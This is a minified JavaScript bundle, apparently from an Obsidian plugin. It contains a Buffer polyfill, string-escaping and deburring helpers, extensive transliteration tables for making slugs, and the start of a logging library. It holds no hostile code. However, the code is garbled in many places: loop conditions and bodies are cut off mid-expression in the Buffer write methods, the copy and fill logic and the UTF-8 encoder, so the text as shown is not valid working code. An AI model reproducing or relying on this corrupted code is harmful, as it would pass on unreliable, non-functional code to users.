a=Math.pow(2,8*r)-1;On(this,e,n,r,a,0)}let s=1,o=0;for(this[n]=e&255;++o>>0,r=r>>>0,!i){let a=Math.pow(2,8*r)-1;On(this,e,n,r,a,0)}let s=r-1,o=1;for(this[n+s]=e&255;--s>=0&&(o*=256);)this[n+s]=e/o&255;return n+r};$.prototype.writeUint8=$.prototype.writeUInt8=function(e,n,r){return e=+e,n=n>>>0,r||On(this,e,n,1,255,0),this[n]=e&255,n+1};$.prototype.writeUint16LE=$.prototype.writeUInt16LE=function(e,n,r){return e=+e,n=n>>>0,r||On(this,e,n,2,65535,0),this[n]=e&255,this[n+1]=e>>>8,n+2};$.prototype.writeUint16BE=$.prototype.writeUInt16BE=function(e,n,r){return e=+e,n=n>>>0,r||On(this,e,n,2,65535,0),this[n]=e>>>8,this[n+1]=e&255,n+2};$.prototype.writeUint32LE=$.prototype.writeUInt32LE=function(e,n,r){return e=+e,n=n>>>0,r||On(this,e,n,4,4294967295,0),this[n+3]=e>>>24,this[n+2]=e>>>16,this[n+1]=e>>>8,this[n]=e&255,n+4};$.prototype.writeUint32BE=$.prototype.writeUInt32BE=function(e,n,r){return e=+e,n=n>>>0,r||On(this,e,n,4,4294967295,0),this[n]=e>>>24,this[n+1]=e>>>16,this[n+2]=e>>>8,this[n+3]=e&255,n+4};function bx(t,e,n,r,i){Dx(e,r,i,t,n,7);let s=Number(e&BigInt(4294967295));t[n++]=s,s=s>>8,t[n++]=s,s=s>>8,t[n++]=s,s=s>>8,t[n++]=s;let o=Number(e>>BigInt(32)&BigInt(4294967295));return t[n++]=o,o=o>>8,t[n++]=o,o=o>>8,t[n++]=o,o=o>>8,t[n++]=o,n}function vx(t,e,n,r,i){Dx(e,r,i,t,n,7);let s=Number(e&BigInt(4294967295));t[n+7]=s,s=s>>8,t[n+6]=s,s=s>>8,t[n+5]=s,s=s>>8,t[n+4]=s;let o=Number(e>>BigInt(32)&BigInt(4294967295));return t[n+3]=o,o=o>>8,t[n+2]=o,o=o>>8,t[n+1]=o,o=o>>8,t[n]=o,n+8}$.prototype.writeBigUInt64LE=Ss(function(e,n=0){return bx(this,e,n,BigInt(0),BigInt("0xffffffffffffffff"))});$.prototype.writeBigUInt64BE=Ss(function(e,n=0){return vx(this,e,n,BigInt(0),BigInt("0xffffffffffffffff"))});$.prototype.writeIntLE=function(e,n,r,i){if(e=+e,n=n>>>0,!i){let l=Math.pow(2,8*r-1);On(this,e,n,r,l-1,-l)}let s=0,o=1,a=0;for(this[n]=e&255;++s>0)-a&255;return n+r};$.prototype.writeIntBE=function(e,n,r,i){if(e=+e,n=n>>>0,!i){let l=Math.pow(2,8*r-1);On(this,e,n,r,l-1,-l)}let s=r-1,o=1,a=0;for(this[n+s]=e&255;--s>=0&&(o*=256);)e<0&&a===0&&this[n+s+1]!==0&&(a=1),this[n+s]=(e/o>>0)-a&255;return n+r};$.prototype.writeInt8=function(e,n,r){return e=+e,n=n>>>0,r||On(this,e,n,1,127,-128),e<0&&(e=255+e+1),this[n]=e&255,n+1};$.prototype.writeInt16LE=function(e,n,r){return e=+e,n=n>>>0,r||On(this,e,n,2,32767,-32768),this[n]=e&255,this[n+1]=e>>>8,n+2};$.prototype.writeInt16BE=function(e,n,r){return e=+e,n=n>>>0,r||On(this,e,n,2,32767,-32768),this[n]=e>>>8,this[n+1]=e&255,n+2};$.prototype.writeInt32LE=function(e,n,r){return e=+e,n=n>>>0,r||On(this,e,n,4,2147483647,-2147483648),this[n]=e&255,this[n+1]=e>>>8,this[n+2]=e>>>16,this[n+3]=e>>>24,n+4};$.prototype.writeInt32BE=function(e,n,r){return e=+e,n=n>>>0,r||On(this,e,n,4,2147483647,-2147483648),e<0&&(e=4294967295+e+1),this[n]=e>>>24,this[n+1]=e>>>16,this[n+2]=e>>>8,this[n+3]=e&255,n+4};$.prototype.writeBigInt64LE=Ss(function(e,n=0){return bx(this,e,n,-BigInt("0x8000000000000000"),BigInt("0x7fffffffffffffff"))});$.prototype.writeBigInt64BE=Ss(function(e,n=0){return vx(this,e,n,-BigInt("0x8000000000000000"),BigInt("0x7fffffffffffffff"))});function kx(t,e,n,r,i,s){if(n+r>t.length)throw new RangeError("Index out of range");if(n<0)throw new RangeError("Index out of range")}function xx(t,e,n,r,i){return e=+e,n=n>>>0,i||kx(t,e,n,4,34028234663852886e22,-34028234663852886e22),Ja.write(t,e,n,r,23,4),n+4}$.prototype.writeFloatLE=function(e,n,r){return xx(this,e,n,!0,r)};$.prototype.writeFloatBE=function(e,n,r){return xx(this,e,n,!1,r)};function Sx(t,e,n,r,i){return e=+e,n=n>>>0,i||kx(t,e,n,8,17976931348623157e292,-17976931348623157e292),Ja.write(t,e,n,r,52,8),n+8}$.prototype.writeDoubleLE=function(e,n,r){return Sx(this,e,n,!0,r)};$.prototype.writeDoubleBE=function(e,n,r){return Sx(this,e,n,!1,r)};$.prototype.copy=function(e,n,r,i){if(!$.isBuffer(e))throw new TypeError("argument should be a Buffer");if(r||(r=0),!i&&i!==0&&(i=this.length),n>=e.length&&(n=e.length),n||(n=0),i>0&&i=this.length)throw new RangeError("Index out of range");if(i<0)throw new RangeError("sourceEnd out of bounds");i>this.length&&(i=this.length),e.length-n>>0,r=r===void 0?this.length:r>>>0,e||(e=0);let s;if(typeof e=="number")for(s=n;s2**32?i=dx(String(n)):typeof n=="bigint"&&(i=String(n),(n>BigInt(2)**BigInt(32)||n<-(BigInt(2)**BigInt(32)))&&(i=dx(i)),i+="n"),r+=` It must be ${e}. Received ${i}`,r},RangeError);function dx(t){let e="",n=t.length,r=t[0]==="-"?1:0;for(;n>=r+4;n-=3)e=`_${t.slice(n-3,n)}${e}`;return`${t.slice(0,n)}${e}`}function DB(t,e,n){Xa(e,"offset"),(t[e]===void 0||t[e+n]===void 0)&&hu(e,t.length-(n+1))}function Dx(t,e,n,r,i,s){if(t>n||t3?e===0||e===BigInt(0)?a=`>= 0${o} and < 2${o} ** ${(s+1)*8}${o}`:a=`>= -(2${o} ** ${(s+1)*8-1}${o}) and < 2 ** ${(s+1)*8-1}${o}`:a=`>= ${e}${o} and <= ${n}${o}`,new Ya.ERR_OUT_OF_RANGE("value",a,t)}DB(r,i,s)}function Xa(t,e){if(typeof t!="number")throw new Ya.ERR_INVALID_ARG_TYPE(e,"number",t)}function hu(t,e,n){throw Math.floor(t)!==t?(Xa(t,n),new Ya.ERR_OUT_OF_RANGE(n||"offset","an integer",t)):e<0?new Ya.ERR_BUFFER_OUT_OF_BOUNDS:new Ya.ERR_OUT_OF_RANGE(n||"offset",`>= ${n?1:0} and <= ${e}`,t)}var EB=/[^+/0-9A-Za-z-_]/g;function _B(t){if(t=t.split("=")[0],t=t.trim().replace(EB,""),t.length<2)return"";for(;t.length%4!==0;)t=t+"=";return t}function Cy(t,e){e=e||1/0;let n,r=t.length,i=null,s=[];for(let o=0;o55295&&n<57344){if(!i){if(n>56319){(e-=3)>-1&&s.push(239,191,189);continue}else if(o+1===r){(e-=3)>-1&&s.push(239,191,189);continue}i=n;continue}if(n<56320){(e-=3)>-1&&s.push(239,191,189),i=n;continue}n=(i-55296<<10|n-56320)+65536}else i&&(e-=3)>-1&&s.push(239,191,189);if(i=null,n<128){if((e-=1)<0)break;s.push(n)}else if(n<2048){if((e-=2)<0)break;s.push(n>>6|192,n&63|128)}else if(n<65536){if((e-=3)<0)break;s.push(n>>12|224,n>>6&63|128,n&63|128)}else if(n<1114112){if((e-=4)<0)break;s.push(n>>18|240,n>>12&63|128,n>>6&63|128,n&63|128)}else throw new Error("Invalid code point")}return s}function CB(t){let e=[];for(let n=0;n>8,i=n%256,s.push(i),s.push(r);return s}function Ex(t){return Dy.toByteArray(_B(t))}function dd(t,e,n,r){let i;for(i=0;i=e.length||i>=t.length);++i)e[i+n]=t[i];return i}function wi(t,e){return t instanceof e||t!=null&&t.constructor!=null&&t.constructor.name!=null&&t.constructor.name===e.name}function Ay(t){return t!==t}var FB=function(){let t="0123456789abcdef",e=new Array(256);for(let n=0;n<16;++n){let r=n*16;for(let i=0;i<16;++i)e[r+i]=t[n]+t[i]}return e}();function Ss(t){return typeof BigInt>"u"?IB:t}function IB(){throw new Error("BigInt not supported")}});var _x,Oy,x,m=se(()=>{"use strict";_x=require("obsidian");_x.Platform.isMobileApp?Oy=md().Buffer:Oy=globalThis.Buffer;x=Oy});var Ix=W((UY,Fx)=>{"use strict";m();Fx.exports=t=>{if(typeof t!="string")throw new TypeError("Expected a string");return t.replace(/[|\\{}()[\]^$+*?.]/g,"\\$&").replace(/-/g,"\\x2d")}});var Mx=W((qY,Nx)=>{m();var AB=1/0,OB="[object Symbol]",PB=/[\xc0-\xd6\xd8-\xf6\xf8-\xff\u0100-\u017f]/g,NB="\\u0300-\\u036f\\ufe20-\\ufe23",MB="\\u20d0-\\u20f0",RB="["+NB+MB+"]",zB=RegExp(RB,"g"),LB={\u00C0:"A",\u00C1:"A",\u00C2:"A",\u00C3:"A",\u00C4:"A",\u00C5:"A",\u00E0:"a",\u00E1:"a",\u00E2:"a",\u00E3:"a",\u00E4:"a",\u00E5:"a",\u00C7:"C",\u00E7:"c",\u00D0:"D",\u00F0:"d",\u00C8:"E",\u00C9:"E",\u00CA:"E",\u00CB:"E",\u00E8:"e",\u00E9:"e",\u00EA:"e",\u00EB:"e",\u00CC:"I",\u00CD:"I",\u00CE:"I",\u00CF:"I",\u00EC:"i",\u00ED:"i",\u00EE:"i",\u00EF:"i",\u00D1:"N",\u00F1:"n",\u00D2:"O",\u00D3:"O",\u00D4:"O",\u00D5:"O",\u00D6:"O",\u00D8:"O",\u00F2:"o",\u00F3:"o",\u00F4:"o",\u00F5:"o",\u00F6:"o",\u00F8:"o",\u00D9:"U",\u00DA:"U",\u00DB:"U",\u00DC:"U",\u00F9:"u",\u00FA:"u",\u00FB:"u",\u00FC:"u",\u00DD:"Y",\u00FD:"y",\u00FF:"y",\u00C6:"Ae",\u00E6:"ae",\u00DE:"Th",\u00FE:"th",\u00DF:"ss",\u0100:"A",\u0102:"A",\u0104:"A",\u0101:"a",\u0103:"a",\u0105:"a",\u0106:"C",\u0108:"C",\u010A:"C",\u010C:"C",\u0107:"c",\u0109:"c",\u010B:"c",\u010D:"c",\u010E:"D",\u0110:"D",\u010F:"d",\u0111:"d",\u0112:"E",\u0114:"E",\u0116:"E",\u0118:"E",\u011A:"E",\u0113:"e",\u0115:"e",\u0117:"e",\u0119:"e",\u011B:"e",\u011C:"G",\u011E:"G",\u0120:"G",\u0122:"G",\u011D:"g",\u011F:"g",\u0121:"g",\u0123:"g",\u0124:"H",\u0126:"H",\u0125:"h",\u0127:"h",\u0128:"I",\u012A:"I",\u012C:"I",\u012E:"I",\u0130:"I",\u0129:"i",\u012B:"i",\u012D:"i",\u012F:"i",\u0131:"i",\u0134:"J",\u0135:"j",\u0136:"K",\u0137:"k",\u0138:"k",\u0139:"L",\u013B:"L",\u013D:"L",\u013F:"L",\u0141:"L",\u013A:"l",\u013C:"l",\u013E:"l",\u0140:"l",\u0142:"l",\u0143:"N",\u0145:"N",\u0147:"N",\u014A:"N",\u0144:"n",\u0146:"n",\u0148:"n",\u014B:"n",\u014C:"O",\u014E:"O",\u0150:"O",\u014D:"o",\u014F:"o",\u0151:"o",\u0154:"R",\u0156:"R",\u0158:"R",\u0155:"r",\u0157:"r",\u0159:"r",\u015A:"S",\u015C:"S",\u015E:"S",\u0160:"S",\u015B:"s",\u015D:"s",\u015F:"s",\u0161:"s",\u0162:"T",\u0164:"T",\u0166:"T",\u0163:"t",\u0165:"t",\u0167:"t",\u0168:"U",\u016A:"U",\u016C:"U",\u016E:"U",\u0170:"U",\u0172:"U",\u0169:"u",\u016B:"u",\u016D:"u",\u016F:"u",\u0171:"u",\u0173:"u",\u0174:"W",\u0175:"w",\u0176:"Y",\u0177:"y",\u0178:"Y",\u0179:"Z",\u017B:"Z",\u017D:"Z",\u017A:"z",\u017C:"z",\u017E:"z",\u0132:"IJ",\u0133:"ij",\u0152:"Oe",\u0153:"oe",\u0149:"'n",\u017F:"ss"},BB=typeof globalThis=="object"&&globalThis&&globalThis.Object===Object&&globalThis,$B=typeof self=="object"&&self&&self.Object===Object&&self,UB=BB||$B||Function("return this")();function jB(t){return function(e){return t?.[e]}}var qB=jB(LB),VB=Object.prototype,HB=VB.toString,Ax=UB.Symbol,Ox=Ax?Ax.prototype:void 0,Px=Ox?Ox.toString:void 0;function WB(t){if(typeof t=="string")return t;if(QB(t))return Px?Px.call(t):"";var e=t+"";return e=="0"&&1/t==-AB?"-0":e}function GB(t){return!!t&&typeof t=="object"}function QB(t){return typeof t=="symbol"||GB(t)&&HB.call(t)==OB}function KB(t){return t==null?"":WB(t)}function ZB(t){return t=KB(t),t&&t.replace(PB,qB).replace(zB,"")}Nx.exports=ZB});var zx=W((HY,Rx)=>{"use strict";m();var YB=/[|\\{}()[\]^$+*?.-]/g;Rx.exports=t=>{if(typeof t!="string")throw new TypeError("Expected a string");return t.replace(YB,"\\$&")}});var Bx=W((GY,Lx)=>{"use strict";m();Lx.exports=[["\xDF","ss"],["\xE4","ae"],["\xC4","Ae"],["\xF6","oe"],["\xD6","Oe"],["\xFC","ue"],["\xDC","Ue"],["\xC0","A"],["\xC1","A"],["\xC2","A"],["\xC3","A"],["\xC4","Ae"],["\xC5","A"],["\xC6","AE"],["\xC7","C"],["\xC8","E"],["\xC9","E"],["\xCA","E"],["\xCB","E"],["\xCC","I"],["\xCD","I"],["\xCE","I"],["\xCF","I"],["\xD0","D"],["\xD1","N"],["\xD2","O"],["\xD3","O"],["\xD4","O"],["\xD5","O"],["\xD6","Oe"],["\u0150","O"],["\xD8","O"],["\xD9","U"],["\xDA","U"],["\xDB","U"],["\xDC","Ue"],["\u0170","U"],["\xDD","Y"],["\xDE","TH"],["\xDF","ss"],["\xE0","a"],["\xE1","a"],["\xE2","a"],["\xE3","a"],["\xE4","ae"],["\xE5","a"],["\xE6","ae"],["\xE7","c"],["\xE8","e"],["\xE9","e"],["\xEA","e"],["\xEB","e"],["\xEC","i"],["\xED","i"],["\xEE","i"],["\xEF","i"],["\xF0","d"],["\xF1","n"],["\xF2","o"],["\xF3","o"],["\xF4","o"],["\xF5","o"],["\xF6","oe"],["\u0151","o"],["\xF8","o"],["\xF9","u"],["\xFA","u"],["\xFB","u"],["\xFC","ue"],["\u0171","u"],["\xFD","y"],["\xFE","th"],["\xFF","y"],["\u1E9E","SS"],["\xE0","a"],["\xC0","A"],["\xE1","a"],["\xC1","A"],["\xE2","a"],["\xC2","A"],["\xE3","a"],["\xC3","A"],["\xE8","e"],["\xC8","E"],["\xE9","e"],["\xC9","E"],["\xEA","e"],["\xCA","E"],["\xEC","i"],["\xCC","I"],["\xED","i"],["\xCD","I"],["\xF2","o"],["\xD2","O"],["\xF3","o"],["\xD3","O"],["\xF4","o"],["\xD4","O"],["\xF5","o"],["\xD5","O"],["\xF9","u"],["\xD9","U"],["\xFA","u"],["\xDA","U"],["\xFD","y"],["\xDD","Y"],["\u0103","a"],["\u0102","A"],["\u0110","D"],["\u0111","d"],["\u0129","i"],["\u0128","I"],["\u0169","u"],["\u0168","U"],["\u01A1","o"],["\u01A0","O"],["\u01B0","u"],["\u01AF","U"],["\u1EA1","a"],["\u1EA0","A"],["\u1EA3","a"],["\u1EA2","A"],["\u1EA5","a"],["\u1EA4","A"],["\u1EA7","a"],["\u1EA6","A"],["\u1EA9","a"],["\u1EA8","A"],["\u1EAB","a"],["\u1EAA","A"],["\u1EAD","a"],["\u1EAC","A"],["\u1EAF","a"],["\u1EAE","A"],["\u1EB1","a"],["\u1EB0","A"],["\u1EB3","a"],["\u1EB2","A"],["\u1EB5","a"],["\u1EB4","A"],["\u1EB7","a"],["\u1EB6","A"],["\u1EB9","e"],["\u1EB8","E"],["\u1EBB","e"],["\u1EBA","E"],["\u1EBD","e"],["\u1EBC","E"],["\u1EBF","e"],["\u1EBE","E"],["\u1EC1","e"],["\u1EC0","E"],["\u1EC3","e"],["\u1EC2","E"],["\u1EC5","e"],["\u1EC4","E"],["\u1EC7","e"],["\u1EC6","E"],["\u1EC9","i"],["\u1EC8","I"],["\u1ECB","i"],["\u1ECA","I"],["\u1ECD","o"],["\u1ECC","O"],["\u1ECF","o"],["\u1ECE","O"],["\u1ED1","o"],["\u1ED0","O"],["\u1ED3","o"],["\u1ED2","O"],["\u1ED5","o"],["\u1ED4","O"],["\u1ED7","o"],["\u1ED6","O"],["\u1ED9","o"],["\u1ED8","O"],["\u1EDB","o"],["\u1EDA","O"],["\u1EDD","o"],["\u1EDC","O"],["\u1EDF","o"],["\u1EDE","O"],["\u1EE1","o"],["\u1EE0","O"],["\u1EE3","o"],["\u1EE2","O"],["\u1EE5","u"],["\u1EE4","U"],["\u1EE7","u"],["\u1EE6","U"],["\u1EE9","u"],["\u1EE8","U"],["\u1EEB","u"],["\u1EEA","U"],["\u1EED","u"],["\u1EEC","U"],["\u1EEF","u"],["\u1EEE","U"],["\u1EF1","u"],["\u1EF0","U"],["\u1EF3","y"],["\u1EF2","Y"],["\u1EF5","y"],["\u1EF4","Y"],["\u1EF7","y"],["\u1EF6","Y"],["\u1EF9","y"],["\u1EF8","Y"],["\u0621","e"],["\u0622","a"],["\u0623","a"],["\u0624","w"],["\u0625","i"],["\u0626","y"],["\u0627","a"],["\u0628","b"],["\u0629","t"],["\u062A","t"],["\u062B","th"],["\u062C","j"],["\u062D","h"],["\u062E","kh"],["\u062F","d"],["\u0630","dh"],["\u0631","r"],["\u0632","z"],["\u0633","s"],["\u0634","sh"],["\u0635","s"],["\u0636","d"],["\u0637","t"],["\u0638","z"],["\u0639","e"],["\u063A","gh"],["\u0640","_"],["\u0641","f"],["\u0642","q"],["\u0643","k"],["\u0644","l"],["\u0645","m"],["\u0646","n"],["\u0647","h"],["\u0648","w"],["\u0649","a"],["\u064A","y"],["\u064E\u200E","a"],["\u064F","u"],["\u0650\u200E","i"],["\u0660","0"],["\u0661","1"],["\u0662","2"],["\u0663","3"],["\u0664","4"],["\u0665","5"],["\u0666","6"],["\u0667","7"],["\u0668","8"],["\u0669","9"],["\u0686","ch"],["\u06A9","k"],["\u06AF","g"],["\u067E","p"],["\u0698","zh"],["\u06CC","y"],["\u06F0","0"],["\u06F1","1"],["\u06F2","2"],["\u06F3","3"],["\u06F4","4"],["\u06F5","5"],["\u06F6","6"],["\u06F7","7"],["\u06F8","8"],["\u06F9","9"],["\u067C","p"],["\u0681","z"],["\u0685","c"],["\u0689","d"],["\uFEAB","d"],["\uFEAD","r"],["\u0693","r"],["\uFEAF","z"],["\u0696","g"],["\u069A","x"],["\u06AB","g"],["\u06BC","n"],["\u06C0","e"],["\u06D0","e"],["\u06CD","ai"],["\u0679","t"],["\u0688","d"],["\u0691","r"],["\u06BA","n"],["\u06C1","h"],["\u06BE","h"],["\u06D2","e"],["\u0410","A"],["\u0430","a"],["\u0411","B"],["\u0431","b"],["\u0412","V"],["\u0432","v"],["\u0413","G"],["\u0433","g"],["\u0414","D"],["\u0434","d"],["\u0415","E"],["\u0435","e"],["\u0416","Zh"],["\u0436","zh"],["\u0417","Z"],["\u0437","z"],["\u0418","I"],["\u0438","i"],["\u0419","J"],["\u0439","j"],["\u041A","K"],["\u043A","k"],["\u041B","L"],["\u043B","l"],["\u041C","M"],["\u043C","m"],["\u041D","N"],["\u043D","n"],["\u041E","O"],["\u043E","o"],["\u041F","P"],["\u043F","p"],["\u0420","R"],["\u0440","r"],["\u0421","S"],["\u0441","s"],["\u0422","T"],["\u0442","t"],["\u0423","U"],["\u0443","u"],["\u0424","F"],["\u0444","f"],["\u0425","H"],["\u0445","h"],["\u0426","Cz"],["\u0446","cz"],["\u0427","Ch"],["\u0447","ch"],["\u0428","Sh"],["\u0448","sh"],["\u0429","Shh"],["\u0449","shh"],["\u042A",""],["\u044A",""],["\u042B","Y"],["\u044B","y"],["\u042C",""],["\u044C",""],["\u042D","E"],["\u044D","e"],["\u042E","Yu"],["\u044E","yu"],["\u042F","Ya"],["\u044F","ya"],["\u0401","Yo"],["\u0451","yo"],["\u0103","a"],["\u0102","A"],["\u0219","s"],["\u0218","S"],["\u021B","t"],["\u021A","T"],["\u0163","t"],["\u0162","T"],["\u015F","s"],["\u015E","S"],["\xE7","c"],["\xC7","C"],["\u011F","g"],["\u011E","G"],["\u0131","i"],["\u0130","I"],["\u0561","a"],["\u0531","A"],["\u0562","b"],["\u0532","B"],["\u0563","g"],["\u0533","G"],["\u0564","d"],["\u0534","D"],["\u0565","ye"],["\u0535","Ye"],["\u0566","z"],["\u0536","Z"],["\u0567","e"],["\u0537","E"],["\u0568","y"],["\u0538","Y"],["\u0569","t"],["\u0539","T"],["\u056A","zh"],["\u053A","Zh"],["\u056B","i"],["\u053B","I"],["\u056C","l"],["\u053C","L"],["\u056D","kh"],["\u053D","Kh"],["\u056E","ts"],["\u053E","Ts"],["\u056F","k"],["\u053F","K"],["\u0570","h"],["\u0540","H"],["\u0571","dz"],["\u0541","Dz"],["\u0572","gh"],["\u0542","Gh"],["\u0573","tch"],["\u0543","Tch"],["\u0574","m"],["\u0544","M"],["\u0575","y"],["\u0545","Y"],["\u0576","n"],["\u0546","N"],["\u0577","sh"],["\u0547","Sh"],["\u0578","vo"],["\u0548","Vo"],["\u0579","ch"],["\u0549","Ch"],["\u057A","p"],["\u054A","P"],["\u057B","j"],["\u054B","J"],["\u057C","r"],["\u054C","R"],["\u057D","s"],["\u054D","S"],["\u057E","v"],["\u054E","V"],["\u057F","t"],["\u054F","T"],["\u0580","r"],["\u0550","R"],["\u0581","c"],["\u0551","C"],["\u0578\u0582","u"],["\u0548\u0552","U"],["\u0548\u0582","U"],["\u0583","p"],["\u0553","P"],["\u0584","q"],["\u0554","Q"],["\u0585","o"],["\u0555","O"],["\u0586","f"],["\u0556","F"],["\u0587","yev"],["\u10D0","a"],["\u10D1","b"],["\u10D2","g"],["\u10D3","d"],["\u10D4","e"],["\u10D5","v"],["\u10D6","z"],["\u10D7","t"],["\u10D8","i"],["\u10D9","k"],["\u10DA","l"],["\u10DB","m"],["\u10DC","n"],["\u10DD","o"],["\u10DE","p"],["\u10DF","zh"],["\u10E0","r"],["\u10E1","s"],["\u10E2","t"],["\u10E3","u"],["\u10E4","ph"],["\u10E5","q"],["\u10E6","gh"],["\u10E7","k"],["\u10E8","sh"],["\u10E9","ch"],["\u10EA","ts"],["\u10EB","dz"],["\u10EC","ts"],["\u10ED","tch"],["\u10EE","kh"],["\u10EF","j"],["\u10F0","h"],["\u010D","c"],["\u010F","d"],["\u011B","e"],["\u0148","n"],["\u0159","r"],["\u0161","s"],["\u0165","t"],["\u016F","u"],["\u017E","z"],["\u010C","C"],["\u010E","D"],["\u011A","E"],["\u0147","N"],["\u0158","R"],["\u0160","S"],["\u0164","T"],["\u016E","U"],["\u017D","Z"],["\u0780","h"],["\u0781","sh"],["\u0782","n"],["\u0783","r"],["\u0784","b"],["\u0785","lh"],["\u0786","k"],["\u0787","a"],["\u0788","v"],["\u0789","m"],["\u078A","f"],["\u078B","dh"],["\u078C","th"],["\u078D","l"],["\u078E","g"],["\u078F","gn"],["\u0790","s"],["\u0791","d"],["\u0792","z"],["\u0793","t"],["\u0794","y"],["\u0795","p"],["\u0796","j"],["\u0797","ch"],["\u0798","tt"],["\u0799","hh"],["\u079A","kh"],["\u079B","th"],["\u079C","z"],["\u079D","sh"],["\u079E","s"],["\u079F","d"],["\u07A0","t"],["\u07A1","z"],["\u07A2","a"],["\u07A3","gh"],["\u07A4","q"],["\u07A5","w"],["\u07A6","a"],["\u07A7","aa"],["\u07A8","i"],["\u07A9","ee"],["\u07AA","u"],["\u07AB","oo"],["\u07AC","e"],["\u07AD","ey"],["\u07AE","o"],["\u07AF","oa"],["\u07B0",""],["\u03B1","a"],["\u03B2","v"],["\u03B3","g"],["\u03B4","d"],["\u03B5","e"],["\u03B6","z"],["\u03B7","i"],["\u03B8","th"],["\u03B9","i"],["\u03BA","k"],["\u03BB","l"],["\u03BC","m"],["\u03BD","n"],["\u03BE","ks"],["\u03BF","o"],["\u03C0","p"],["\u03C1","r"],["\u03C3","s"],["\u03C4","t"],["\u03C5","y"],["\u03C6","f"],["\u03C7","x"],["\u03C8","ps"],["\u03C9","o"],["\u03AC","a"],["\u03AD","e"],["\u03AF","i"],["\u03CC","o"],["\u03CD","y"],["\u03AE","i"],["\u03CE","o"],["\u03C2","s"],["\u03CA","i"],["\u03B0","y"],["\u03CB","y"],["\u0390","i"],["\u0391","A"],["\u0392","B"],["\u0393","G"],["\u0394","D"],["\u0395","E"],["\u0396","Z"],["\u0397","I"],["\u0398","TH"],["\u0399","I"],["\u039A","K"],["\u039B","L"],["\u039C","M"],["\u039D","N"],["\u039E","KS"],["\u039F","O"],["\u03A0","P"],["\u03A1","R"],["\u03A3","S"],["\u03A4","T"],["\u03A5","Y"],["\u03A6","F"],["\u03A7","X"],["\u03A8","PS"],["\u03A9","O"],["\u0386","A"],["\u0388","E"],["\u038A","I"],["\u038C","O"],["\u038E","Y"],["\u0389","I"],["\u038F","O"],["\u03AA","I"],["\u03AB","Y"],["\u0101","a"],["\u0113","e"],["\u0123","g"],["\u012B","i"],["\u0137","k"],["\u013C","l"],["\u0146","n"],["\u016B","u"],["\u0100","A"],["\u0112","E"],["\u0122","G"],["\u012A","I"],["\u0136","K"],["\u013B","L"],["\u0145","N"],["\u016A","U"],["\u010D","c"],["\u0161","s"],["\u017E","z"],["\u010C","C"],["\u0160","S"],["\u017D","Z"],["\u0105","a"],["\u010D","c"],["\u0119","e"],["\u0117","e"],["\u012F","i"],["\u0161","s"],["\u0173","u"],["\u016B","u"],["\u017E","z"],["\u0104","A"],["\u010C","C"],["\u0118","E"],["\u0116","E"],["\u012E","I"],["\u0160","S"],["\u0172","U"],["\u016A","U"],["\u040C","Kj"],["\u045C","kj"],["\u0409","Lj"],["\u0459","lj"],["\u040A","Nj"],["\u045A","nj"],["\u0422\u0441","Ts"],["\u0442\u0441","ts"],["\u0105","a"],["\u0107","c"],["\u0119","e"],["\u0142","l"],["\u0144","n"],["\u015B","s"],["\u017A","z"],["\u017C","z"],["\u0104","A"],["\u0106","C"],["\u0118","E"],["\u0141","L"],["\u0143","N"],["\u015A","S"],["\u0179","Z"],["\u017B","Z"],["\u0404","Ye"],["\u0406","I"],["\u0407","Yi"],["\u0490","G"],["\u0454","ye"],["\u0456","i"],["\u0457","yi"],["\u0491","g"]]});var Ux=W((KY,$x)=>{"use strict";m();var JB=Mx(),XB=zx(),e$=Bx(),t$=(t,e)=>{for(let[n,r]of e)t=t.replace(new RegExp(XB(n),"g"),r);return t};$x.exports=(t,e)=>{if(typeof t!="string")throw new TypeError(`Expected a string, got \`${typeof t}\``);e={customReplacements:[],...e};let n=new Map([...e$,...e.customReplacements]);return t=t.normalize(),t=t$(t,n),t=JB(t),t}});var qx=W((YY,jx)=>{"use strict";m();jx.exports=[["&"," and "],["\u{1F984}"," unicorn "],["\u2665"," love "]]});var Hx=W((XY,Py)=>{"use strict";m();var n$=Ix(),r$=Ux(),i$=qx(),s$=t=>t.replace(/([A-Z]{2,})(\d+)/g,"$1 $2").replace(/([a-z\d]+)([A-Z]{2,})/g,"$1 $2").replace(/([a-z\d])([A-Z])/g,"$1 $2").replace(/([A-Z]+)([A-Z][a-z\d]+)/g,"$1 $2"),o$=(t,e)=>{let n=n$(e);return t.replace(new RegExp(`${n}{2,}`,"g"),e).replace(new RegExp(`^${n}|${n}$`,"g"),"")},Vx=(t,e)=>{if(typeof t!="string")throw new TypeError(`Expected a string, got \`${typeof t}\``);e={separator:"-",lowercase:!0,decamelize:!0,customReplacements:[],preserveLeadingUnderscore:!1,...e};let n=e.preserveLeadingUnderscore&&t.startsWith("_"),r=new Map([...i$,...e.customReplacements]);t=r$(t,{customReplacements:r}),e.decamelize&&(t=s$(t));let i=/[^a-zA-Z\d]+/g;return e.lowercase&&(t=t.toLowerCase(),i=/[^a-z\d]+/g),t=t.replace(i,e.separator),t=t.replace(/\\/g,""),e.separator&&(t=o$(t,e.separator)),n&&(t=`_${t}`),t},a$=()=>{let t=new Map,e=(n,r)=>{if(n=Vx(n,r),!n)return"";let i=n.toLowerCase(),s=t.get(i.replace(/(?:-\d+?)+?$/,""))||0,o=t.get(i);t.set(i,typeof o=="number"?o+1:1);let a=t.get(i)||2;return(a>=2||s>2)&&(n=`${n}-${a}`),n};return e.reset=()=>{t.clear()},e};Py.exports=Vx;Py.exports.counter=a$});var vt=W((Yx,wd)=>{m();(function(t){"use strict";var e={};e.VERSION="1.6.1";var n,r={},i=function(c,u){return function(){return u.apply(c,arguments)}},s=function(){var c=arguments,u=c[0],f,h;for(h=1;h=u.value},trace:function(){this.invoke(e.TRACE,arguments)},debug:function(){this.invoke(e.DEBUG,arguments)},info:function(){this.invoke(e.INFO,arguments)},warn:function(){this.invoke(e.WARN,arguments)},error:function(){this.invoke(e.ERROR,arguments)},time:function(c){typeof c=="string"&&c.length>0&&this.invoke(e.TIME,[c,"start"])},timeEnd:function(c){typeof c=="string"&&c.length>0&&this.invoke(e.TIME,[c,"end"])},invoke:function(c,u){n&&this.enabledFor(c)&&n(u,s({level:c},this.context))}};var l=new a({filterLevel:e.OFF});(function(){var c=e;c.enabledFor=i(l,l.enabledFor),c.trace=i(l,l.trace),c.debug=i(l,l.debug),c.time=i(l,l.time),c.timeEnd=i(l,l.timeEnd),c.info=i(l,l.info),c.warn=i(l,l.warn),c.error=i(l,l.error),c.log=c.info})(),e.setHandler=function(c){n=c},e.setLevel=function(c){l.setLevel(c);for(var u in r)r.hasOwnProperty(u)&&r[u].setLevel(c)},e.getLevel=function(){return l.getLevel()},e.get=function(c){return r[c]||(r[c]=new 